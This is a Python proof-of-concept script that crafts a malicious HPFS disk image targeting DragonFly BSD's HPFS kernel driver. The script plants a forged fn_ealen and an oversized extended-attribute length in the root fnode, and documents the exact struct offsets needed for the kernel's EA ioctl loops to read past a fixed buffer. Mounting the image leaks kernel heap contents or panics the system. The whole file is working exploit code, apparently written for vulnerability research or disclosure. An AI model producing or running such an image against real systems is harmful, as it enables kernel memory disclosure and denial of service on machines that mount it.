DF-0829 / mk_hpfs.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 | #!/usr/bin/env python3 # mk_hpfs.py — Craft a minimal-but-valid HPFS image whose root fnode carries # a lying fn_ealen (0xFFFF) and a first EA with ea_vallen=0xFFFE, so that the # EA-iteration loops in sys/vfs/hpfs/hpfs_vnops.c (HPFSIOCGEANUM / GEASZ / # RDEA) walk past the 316-byte fn_int buffer and either leak adjacent kernel # heap (h_vp, h_devvp, ...) via copyout or panic when copyout crosses into # an unmapped page. # # IMPORTANT: the on-disk struct layouts mirror the kernel C struct layout # (verified on DragonFly 6.5-DEVELOPMENT with a tiny kld module), including # the natural-alignment padding the compiler inserts. Critically this means # fn_ealen is at byte offset 56 within struct fnode (NOT 52) and fn_flag at # 59 (NOT 55). Use the wrong slot and the kernel reads zeroes for both. # # Layout (sector = 512 B): # 0..15 reserved (zeros) # 16 SuperBlock (SU_MAGIC, rootfno, btotal, su_bitmap.lsn1) # 17 SpareBlock (SP_MAGIC, sp_cpinum=0 -> skip cpinit) # 40 bmind[1] (lsn of band-0 bitmap) # 50..53 band-0 bitmap (4 KB, all bits set) # 30 root fnode (FN_MAGIC, fn_flag=1 -> VDIR, fn_ealen=0xFFFF, # first EA at fn_int[0]: type=0 namelen=5 vallen=0xFFFE, # name="AAAAA") # # Run: python3 mk_hpfs.py evil.hpfs import struct, sys SECTOR = 512 DISK_SECTORS = 200 img = bytearray(DISK_SECTORS * SECTOR) SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE ROOTFNO = 30 BTOTAL = 100 BMIND_LSN = 40 BITMAP_LSN = 50 DIRBLK_LSN = 60 # 4 KB dir block (D_BSIZE) for the root dir # ---- Sector 16: SuperBlock (kernel struct sublock, sizeof=112) ------------ # struct sublock { # u64 su_magic @0; u8 su_hpfsver @8; u8 su_fnctver @9; u16 unused @10; # lsn_t su_rootfno @12; u32 su_btotal @16; u32 su_badbtotal @20; # rsp_t su_bitmap @24; rsp_t su_badbl @32; # u32 su_chkdskdate @40; u32 su_dskoptdate @44; # u32 su_dbbsz @48; lsn_t su_dbbstart @52; lsn_t su_dbbend @56; # lsn_t su_dbbbitmap @60; char su_volname[0x20] @64; lsn_t su_uidt @96; # ...tail padding to 112 # }; sub = bytearray(512) struct.pack_into('<Q', sub, 0, SU_MAGIC) sub[8] = 3 # hpfsver sub[9] = 0 # fnctver struct.pack_into('<H', sub, 10, 0) struct.pack_into('<I', sub, 12, ROOTFNO) struct.pack_into('<I', sub, 16, BTOTAL) struct.pack_into('<I', sub, 20, 0) # badbtotal struct.pack_into('<II', sub, 24, BMIND_LSN, BMIND_LSN) # su_bitmap rsp_t struct.pack_into('<II', sub, 32, 0, 0) # su_badbl rsp_t struct.pack_into('<II', sub, 40, 0, 0) # chkdsk, dskopt struct.pack_into('<I', sub, 48, 0) # dbbsz struct.pack_into('<I', sub, 52, 0) # dbbstart struct.pack_into('<I', sub, 56, 0) # dbbend struct.pack_into('<I', sub, 60, 0) # dbbbitmap # volname[0x20] at 64..95 zeros struct.pack_into('<I', sub, 96, 0) # uidt off = 16 * SECTOR img[off:off+512] = sub # ---- Sector 17: SpareBlock (kernel struct spblock, sizeof=512) ------------ # struct spblock { # u64 sp_magic @0; u16 sp_flag @8; u8 sp_mmcontf @10; u8 unused @11; # lsn_t sp_hf @12; u32 sp_hfinuse @16; u32 sp_hfavail @20; # u32 sp_spdbavail @24; u32 sp_spdbmax @28; # lsn_t sp_cpi @32; u32 sp_cpinum @36; ... # }; sp = bytearray(512) struct.pack_into('<Q', sp, 0, SP_MAGIC) struct.pack_into('<H', sp, 8, 0) # sp_flag sp[10] = 0 # mmcontf sp[11] = 0 struct.pack_into('<I', sp, 12, 0) # sp_hf struct.pack_into('<I', sp, 16, 0) # sp_hfinuse struct.pack_into('<I', sp, 20, 0) # sp_hfavail struct.pack_into('<I', sp, 24, 0) # sp_spdbavail struct.pack_into('<I', sp, 28, 0) # sp_spdbmax struct.pack_into('<I', sp, 32, 0) # sp_cpi struct.pack_into('<I', sp, 36, 0) # sp_cpinum -> 0: skip cpinit off = 17 * SECTOR img[off:off+512] = sp # ---- Sector 40: bmind[] (1 lsn_t per data band) -------------------------- off = BMIND_LSN * SECTOR struct.pack_into('<I', img, off, BITMAP_LSN) # ---- Sectors 50..53: band-0 bitmap (BMSIZE = 4 KB), all bits set -------- bm = bytearray(2048) for i in range(BTOTAL): bm[i // 8] |= (1 << (i % 8)) off = BITMAP_LSN * SECTOR img[off:off+2048] = bm # ---- Sectors 60..67: minimal dir block for root (D_BSIZE = 4 KB) --------- # dirblk_t { u32 d_magic; u32 d_freeoff; u32 d_chcnt; lsn_t d_parent; # lsn_t d_self; } -- sizeof = 0x14 # Followed by hpfsdirent_t entries; we plant a single DE_END marker so the # walk in hpfs_validateparent terminates immediately. D_MAGIC = 0x77E40AAE db = bytearray(4096) struct.pack_into('<I', db, 0, D_MAGIC) struct.pack_into('<I', db, 4, 0x28) # d_freeoff (past header + end-marker) struct.pack_into('<I', db, 8, 0) # d_chcnt struct.pack_into('<I', db, 12, ROOTFNO) # d_parent = self struct.pack_into('<I', db, 16, DIRBLK_LSN) # d_self # At offset 0x14 (= sizeof(dirblk_t) = 20): one hpfsdirent_t with DE_END set. # hpfsdirent_t { u16 de_reclen; u16 de_flag; ... } DE_END = 0x0008 struct.pack_into('<H', db, 20, 0x14) # de_reclen (size of this entry) struct.pack_into('<H', db, 22, DE_END) # de_flag = end marker off = DIRBLK_LSN * SECTOR img[off:off+4096] = db # ---- Sector 30: root fnode (the malicious vnode) -------------------------- # sizeof(struct fnode) = 520. bcopy at hpfs_vfsops.c:535 copies 520 bytes # out of a 512-byte bread buffer (separate off-by-8; not our bug). Field # offsets are the kernel struct's natural-alignment layout: # 0 u32 fn_magic # 4 pad (4 bytes, alignment of fn_readhist) # 8 u64 fn_readhist # 16 u8 fn_namelen # 17 char fn_name[0xF] (15 bytes -> ends at 32) # 32 lsn_t fn_parent # 36 sptr fn_extacl (cnt+lsn = 8) # 44 u16 fn_acllen # 46 u8 fn_extaclflag # 47 u8 fn_histbitcount # 48 sptr fn_extea (8) # 56 u16 fn_ealen <-- attacker-controlled, unvalidated # 58 u8 fn_exteaflag # 59 u8 fn_flag <-- set 1 for VDIR # 60 alblk fn_ab (8) # 68 u8 fn_abd[0x60] (96 -> ends at 164) # 164 u32 fn_size # 168 u32 fn_reqea # 172 u8 fn_uid[0x10] (16 -> ends at 188) # 188 u16 fn_intoff # 190 u8 fn_1dasdthr # 191 u8 fn_dasdthr # 192 u32 fn_dasdlim # 196 u32 fn_dasdusage # 200 u8 fn_int[0x13c] (316 -> ends at 516; +4 pad = 520) EALEN = 0xFFFF EA_VAL = 0xFFFE EA_NAM = 5 fn = bytearray(512) struct.pack_into('<I', fn, 0, FN_MAGIC) # readhist (8 bytes) at offset 8: zeros fn[16] = 0 # namelen struct.pack_into('<I', fn, 32, ROOTFNO) # parent = self (root's parent is root) struct.pack_into('<H', fn, 56, EALEN) # <-- THE LIE fn[58] = 0 # exteaflag fn[59] = 1 # flag -> VDIR (so namei treats # /mnt/hpfs as a directory) # Configure the allocation block (alblk_t) and the first alleaf entry in # fn_abd so hpfs_validateparent can find the dir block: # alblk_t { u8 ab_flag; u8 ab_res[3]; u8 ab_freecnt; u8 ab_busycnt; # u16 ab_freeoff; } sizeof = 8 AB_NODES = 0x80 # fn_ab.ab_flag: this is a leaf struct.pack_into('<B', fn, 60, AB_NODES) struct.pack_into('<B', fn, 64, 0) # ab_freecnt struct.pack_into('<B', fn, 65, 1) # ab_busycnt = 1 (one alleaf) struct.pack_into('<H', fn, 66, 0x14) # ab_freeoff = past header+entry # First alleaf_t at fn_abd[0] (= offset 68 in struct fnode): # alleaf_t { u32 al_off; u32 al_len; lsn_t al_lsn; } sizeof = 12 struct.pack_into('<I', fn, 68, 0) # al_off struct.pack_into('<I', fn, 72, 1) # al_len = 1 block struct.pack_into('<I', fn, 76, DIRBLK_LSN) # al_lsn -> our dir block # Plant first EA at fn_int[0] = offset 200: # struct ea { u8 type; u8 namelen; u16 vallen; char name[]; char val[]; } ea = 200 fn[ea+0] = 0 # plain value fn[ea+1] = EA_NAM struct.pack_into('<H', fn, ea+2, EA_VAL) fn[ea+4:ea+4+EA_NAM] = b'A' * EA_NAM off = ROOTFNO * SECTOR img[off:off+512] = fn with open(sys.argv[1], 'wb') as f: f.write(img) print(f"wrote {sys.argv[1]}: {len(img)} bytes, rootfno={ROOTFNO}, " f"fn_ealen={EALEN:#x} @off56, fn_flag=VDIR @off59, " f"ea_vallen={EA_VAL:#x} @fn_int[0] (off200), btotal={BTOTAL}") |